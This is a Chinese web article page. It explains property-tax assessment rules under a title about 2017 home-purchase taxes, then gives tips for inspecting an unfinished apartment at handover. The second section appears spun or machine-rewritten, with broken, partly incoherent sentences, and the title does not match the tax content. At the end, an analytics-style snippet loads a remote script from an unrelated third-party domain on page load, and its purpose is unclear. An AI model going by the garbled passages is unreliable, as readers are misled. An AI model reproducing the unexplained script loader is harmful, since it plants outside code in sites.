购房税费最新2017规定 购房税费计税依据

今天为大家推荐的是关于购置房子的过程中可能需要缴纳的税费，顾名思义，它们由两个部分组成，也就是税收和费用，费用包括手续办理过程中应该额外缴纳的钱，而税收的话大部分都是根据比例进行征收的，而且根据地区的不同，或者是根据我们购买的房子的数量，对应的应该缴纳的费用也是完全不一样的，有兴趣的消费者朋友们可以综合下文了解。我们为大家说明的就是比较新的今年的税收费用方面的规定。一、购房税费最新2017规定征收标准：房产税征收标准从价或从租两种情况：(1)从价计征的，其计税依据为房产原值一次减去10%-30%后的余值;(2)从租计征的(即房产出租的)，以房产租金收入为计税依据。从价计征10%-30%的具体减除幅度由省、自治区、直辖市人民政府确定。如浙江省规定具体减除幅度为30%。房产税税率采用比例税率。按照房产余值计征的，年税率为1.2%;按房产租金收入计征的，年税率为12%。房产税应纳税额的计算分为以下两种情况，其计算公式为：(1)以房产原值为计税依据的应纳税额=房产原值×(1-10%或30%)×税率(1.2%)(2)以房产租金收入为计税依据的应纳税额=房产租金收入×税率(12%)二、房产税征收范围：房产税的征收范围称房产税“课税范围”，具体指开征房产税的地区。房产税暂行条例规定，房产税在城市、县城、建制镇和工矿区征收。城市、县城、建制镇、工矿区的具体征税范围，由各省、自治区、直辖市人民政府确定。三、计税依据：1、从价计征按照房产余值征税的，称为从价计征房产税依照房产原值一次减除10%～30%后的余值计算缴纳。扣除比例由省、自治区、直辖市人民政府在税法规定的减除幅度内自行确定。这样规定，既有利于各地区根据本地情况，因地制宜地确定计税余值，又有利于平衡各地税收负担，简化计算手续，提高征管效率。房产原值：应包括与房屋不可分割的各种附属设备或一般不单独计算价值的配套设施。主要有：暖气，卫生，通风等，纳税人对原有房屋进行改建、扩建的，要相应增加房屋的原值。2、从租计征按照房产租金收入计征的，称为从租计征，房产出租的，以房产租金收入为房产税的计税依据。3、注意事项(1)房产出租的，以房产租金收入为房产税的计税依据。对投资联营的房产，在计征房产税时应予以区别对待。共担风险的，按房产余值作为计税依据，计征房产税;对收取固定收入，应由出租方按租金收入计缴房产税。(2)对融资租赁房屋的情况，在计征房产税时应以房产余值计算征收，租赁期内房产税的纳税人，由当地税务机关根据实际情况确定。(3)新建房屋交付使用时，如中央空调设备已计算在房产原值之中，则房产原值应包括中央空调设备;旧房安装空调设备，一般都作单项固定资产入账，不应计入房产原值。上文推荐是关于购置房子的过程中应该着重关注的税收费用方面的规定以及注意事项，由此入手可以得知，首先的话，在购置房子的过程中，我们需要缴纳很多的钱，不仅仅包括房子本身的费用，还包括一些额外应该征收的税收和一些手续费，而且根据地区的不同，购买房子数量的不同或者是面积的大小和其它实际的情况对应的需要缴纳的钱也是完全不一样的，具体也可以通过上文进行了解，结合实际进行分析。

如何根据毛坯房收楼标准来进行收楼

当今许多人买房都会选择毛坯房，因为毛坯房价格便宜而且它的改造空间也比较大。在完成装修后，要依照毛坯房收楼标准来进行检查，以避免任何损害或不合理的地方，否则有可能会在未来存在许多的问题。为此，下面介绍一些根据毛坯房收楼标准进行收楼的知识。一、重点检查方面1、门窗毛坯房收楼标准中对门也有一些要求，门是一个很容易忘记的地方。房东高兴地持有钥匙打开门，就会想去看看房子的外观，而门的外观似乎被抛在后面，但是这个过程是永远需要的。如今，房子大部分都配备了防盗门。打开门后，仔细看它，如果有划痕或撞击，肉眼检查门框是不是正确的，因为框架门不正确，这将直接影响到在以后的使用。然后摸门的表面，看它是否是平的，看看是否能正常启动。如果有问题，应该尽快联系物业。2、底壁毛坯房收楼标准中对毛坯房的底壁有着许多规定。所以要对房子里的墙壁进行仔细检查，如果地板是不平的，卫生间、厨房的墙面是空的、如果墙面不平整，就会带来对未来装修的诸多问题、地板的不规则性也将影响路面或涂覆后地板。如果在浴室和厨房鼓的墙壁有缝隙，瓷砖在未来之后会容易掉落。二、其他方面1、所有外墙饰面，要根据设计文件完成。2、公用部分、公共设施几个管道、电气设备等。必须根据设计文件完成，并根据需要完成几个测试项目。3、应浇水几个管道、、压力测试球试验热的加热步骤和调试等工程验收。4、屋顶工程有防水功能。5、室具有抗渗要求，必须在严格按照防水层的结构要求进行规划。在验收过程中，必须进行两次储水试验以防止泄漏。6、层排水和洪水斜率符合设计要求，水板牢固且平滑。7、各种基于房间的水泥地面高度，必须考虑到高度的尺寸要求重新装修。通过学习了前面的毛坯房收楼标准内容后，大家大概应该已经了解了一些关于毛坯房收楼标准的内容了。建议在装修时选择一些经验丰富的团队，因为他有经验丰富的专业人员和建筑设计师的团队，可以提供更多的帮助来装点房子。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();